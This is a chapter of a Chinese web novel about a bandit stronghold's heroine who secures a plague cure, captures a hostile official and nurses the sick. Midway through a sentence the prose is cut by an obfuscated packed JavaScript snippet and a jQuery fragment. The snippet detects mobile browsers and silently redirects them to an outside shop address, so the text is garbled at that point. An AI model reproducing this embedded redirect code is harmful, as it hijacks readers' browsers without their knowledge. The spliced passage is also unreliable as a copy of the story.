32. 第 32 章
作品:《夫君今天逃婚成功了吗》 是府中下人前来传话,告知他们崔员外与知府大人的要事已商谈完毕,请他们过去。
两人对视一眼,立刻起身往正堂赶去。
崔温茂与唐修洁已起身,似乎正等着他们,要送客了。崔执瑶注意到,父亲手中多了一个精致的漆木盒子。
崔温茂又向唐修洁拱手,说了一番感谢款待、多有叨扰的话。唐修洁只是不甚在意地摆摆手,连道“无妨”。
一番客气寒暄后,三人这才告辞离开。
一出知府大门,崔执瑶便按捺不住,急问:“爹,那东西……是到手了还是没到手?”
崔温茂看她一眼,并未立刻回答,只示意先上车。待到马车缓缓驶离府衙所在的街巷,融入城中的车马人流,他才将一直拿在手中的那个锦盒放到两人之间的矮几上,轻轻掀开了盒盖。
两人立刻倾身去看——只见盒内以丝绒衬底,上面整齐摆放着数簇形态奇特的植物。那植物呈苔藓状,色泽深碧,每一簇中心皆凝结着一点莹白如月华的汁液——正是月心苔!
崔执瑶眼中蓦地一亮,喜道:“爹,我们拿到了!”
崔温茂点了点头,将盒盖重新合上,便不再多言。
自从踏出知府府邸,崔温茂整个人的兴致便不高,眉宇间似笼罩着一层阴翳。崔执瑶满心不解:月心苔既已到手,当是大喜之事,父亲为何这般郁郁?
在她未曾留意的角落,纪文焕亦是眉头皱紧。他心中所疑,却是另一桩:这月心苔千金难求,崔温茂究竟是如何得手的?当真是花钱买下的?可山寨哪来的巨款?还是……与那位唐知府达成了别的交易?
无论如何,月心苔既已到手,山寨众人的性命便有了转机。
---
三人依旧在云县别院下车,而后改换装束,循着隐秘小径返回山寨。行至半途,竟又一次与那队搜山的官兵狭路相逢。
崔温茂不愿节外生枝,只想避开他们,尽快赶回山寨。崔执瑶原本也是此意,却忽然心念一动,对父亲道:“爹,我有些口渴,去寻些水喝。您先回吧。”
纪文焕下意识便想跟她去。崔执瑶却似早有预料,回头凶巴巴瞪他一眼:“不许跟来!”
说罢,不等二人回应,已转身没入一旁密林。
崔温茂对他似笑非笑地摇摇头。
纪文一时羞愤交加——她这话什么意思?说得好像自己多稀罕跟着她似的!
不跟就不跟!
---
崔执瑶是过了酉时才回山寨的,却并不是一个人回来的。
当纪文焕看着那个被粗绳捆得结实、已然昏迷不醒、仍穿着一身华贵锦袍的年轻公子,像只猎物般被崔执瑶毫不客气地丢在地上时,一时都愣眼了。
上午还嚣张跋扈的家伙,此刻已成了崔执瑶的阶下囚。这境遇转换之快,着实令人感慨。
这被绑来的,正是陆康。
原来,下午撞见那队官兵时,崔执瑶便生了心思:前几次交锋,官兵被他们折腾得狼狈不堪,若陆康真是幕后主使,此刻定然坐不住了。
果不其然,还真让她料中了。
她一路潜行,寻了好几处,才在山坳里找到陆康亲自带领的那一队人马。
她藏身树冠,一袭青裙并未更换,亦未作任何伪装。此番前来,不为筹谋,不计后果,纯粹是憋着一口恶气,要亲自讨回来。
因此她并未蛰伏太久,瞧准时机,将一枚烟雾弹掷入人群,随即飞身而下。
陆康武功不俗,即便视线被扰,仍能凭风声辨位,挥刀直劈崔执瑶面门。
崔执瑶身形灵动如燕,侧身闪避,迅如鬼魅般绕至他身后,毫不留情地抬起一脚,狠狠踹在他后腰之上!
陆康何曾受过这般折辱,登时大怒,与崔执瑶缠斗起来。
刀光掌影,在弥漫的烟雾中交错。陆康招式狠辣,内力亦是不弱。然而,崔执瑶身法更为诡谲灵动,几招试探下来,她便摸清了对方底细——此人非自己敌手。
既已心中有数,她不再试探,手法倏变,几记柔劲巧夺,便将他手中兵刃卸下,反手一横,刀锋已贴上他颈侧。
陆康僵住不动,竭力想看清烟雾中人的面容,却始终隔着一层朦胧。
“你究竟是谁?”他咬牙问道。
回应他的,是崔执瑶调转刀柄,干脆利落的一记重击。
陆康眼前一黑,软倒在地。
纪文焕听她眉飞色舞地讲完,摇摇头,叹服:“果真是……崔女侠。”
崔执瑶正握着水杯仰头畅饮,闻言得意地轻哼一声:“敢对本姑娘动刀的人,合该有此下场。”
纪文焕又问:“你就这般将他绑了来?可曾想过,之后该如何收场?”
崔执瑶还真没细想,也觉得无需多想:“简单。蒙上他的眼睛,狠狠揍一顿出气,再寻个离云平城远远的荒僻之处扔了。我倒要瞧瞧,经此一遭,他还有没有胆子再犯我归云寨!”
纪文焕扶额:“我的大小姐,他可是朝廷命官!”
崔执瑶奇怪地看他一眼:“你也是朝廷命官啊!”
纪文焕一噎:“他与我岂能一概而论?此人阴险狭隘,睚眦必报。你若真这般将他放走,他必不会善罢甘休。届时剿匪的由头上,再多一条侮辱朝廷命官,给你扣个藐视天威的罪名,你与山寨可就真无转圜余地了。”
崔执瑶闻言,上下打量了纪文焕一眼,不客气地嘀咕:“这样听来……他除了性子比你更阴险些,这心眼小、记仇的毛病,跟你也挺像啊。”
“你——!”纪文焕差点背过气去,“你就气死我吧!”
崔执瑶见好就收,不再逗他,目光扫向昏迷的陆康:“既如此,便先将他关在此处。不过那一刀记仇,本姑娘还记着呢,这一顿打,他非挨不可!”
---
将陆康丢在柴房锁好,崔执瑶与纪文焕便一同前往后山洞穴。
卓芙比前几日更加忙碌,身影在各处病患间穿梭不停。两人蒙着面巾,也留在洞中帮忙照料——喂药、搀扶、递水,做些力所能及之事。
崔执瑶刚将一位老人小心扶回铺位躺好,便听见旁边传来气若游丝的请求声:“水……想喝水……”
她立刻转身,去一旁取了碗温水,小心端过去。
然而,当她走到那病榻前,看清躺着的人时,端碗的手一颤,水险些泼洒出来。
是孟云松。
短短数日,那个记忆中总是一副温和笑意的青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056876|193392||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年,已被病魔折磨得形销骨立。他躺在简陋的棉褥上,脸颊深深凹陷下去,嘴唇干裂发白,呼吸微弱得几乎感觉不到。唯有那微微颤动的眼睫,显示他还活着。
崔执瑶鼻子一酸,眼眶瞬间红了。她忙上前将他小心扶起,托着碗沿,一点一点喂他喝水。
孟云松费力地睁开眼,看清是她,浑浊的眸子里掠过一丝微弱的亮光,他用尽力气,嘴唇翕动,发出的声音哑得几乎听不清:
“别……别待在这……危险……”
崔执瑶喉咙发紧,声音哽咽却努力放柔:“我没事,戴着药包呢。你别说话了,好好休息……卓大夫已经找到药了,你很快就会好起来的……”
孟云松似乎想点头,却连这点力气都已匮乏,只是睫毛轻轻颤了颤,便又疲惫地闭上了眼睛,不再出声。
洞穴里,充斥着其他病患压抑的呻吟、照料者低声的安抚、药罐碰撞的轻响。崔执瑶一时跪坐在孟云松的铺边,一动不动。
忽然,一滴滚烫的液体毫无预兆地滑落,“啪嗒”一声,砸在水碗里。
第二滴尚未落下,便被一只伸过来的手,轻轻接住了。
纪文焕不知何时已来到她身侧,他单膝点地,就蹲在她旁边,目光先是复杂地看了一眼昏睡中的孟云松,眼中亦有不忍。
随即,他转回头,视线落在崔执瑶的脸上。
崔执瑶确实哭了。这是纪文焕从未设想过的画面。她哭时脸上没有什么悲戚痛苦的表情,只是微微抿着唇,眼神有些空茫地看着他。
然而,这副平静落泪的模样还是让纪文焕心中泛起一阵陌生的的悸动,混合着怜惜与一种说不清道不明的酸涩。
他放轻了声音:“你……要不要先去旁边歇一下?”
崔执瑶已抬手抹去泪迹,面无表情,声音听不出波澜:“不用。
她端起那只空碗走向水桶,仿佛刚才那短暂的失态从未发生。
两人又忙碌了约莫一个时辰,直到卓芙催促他们回去休息,才得以歇口气。
崔执瑶走到正在核对药材的卓芙身边,问:“卓大夫,月心苔可送到了?”
卓芙点点头,疲惫的脸上绽开一丝明亮的光彩,语气难掩激动:“已送到我这了!分量足够。今夜我连夜赶工,定能将最后的解药调制出来!”
在场几人闻言,悬了许久的心,终于沉沉落地。
还好……这场突如其来的灾厄,是真的,快要过去了。
---
第二日,崔执瑶与纪文焕本打算照旧去后山帮忙,不料崔温茂遣人来传话,让他们去演武场。
两人依言前往。一路上,发现寨中的气氛与往日大不相同。自疫病爆发以来,各家各户多是门窗紧闭,路上罕见行人,一片死寂。可今日,却见三三两两的寨民,都朝着演武场走去。
崔执瑶拦住一个相熟的大叔询问。大叔答道,是寨主一早传下的命令,除了家中全染疫病未愈的,每户须至少出一人,即刻前往演武场集合,有要事宣告。
崔执瑶与纪文焕对视一眼,二人世界心中了然。
疫病将除,压在头顶的阴云散去大半。父亲选择在此时召集全寨,恐怕是要将官兵围山的实情,公之于众了。

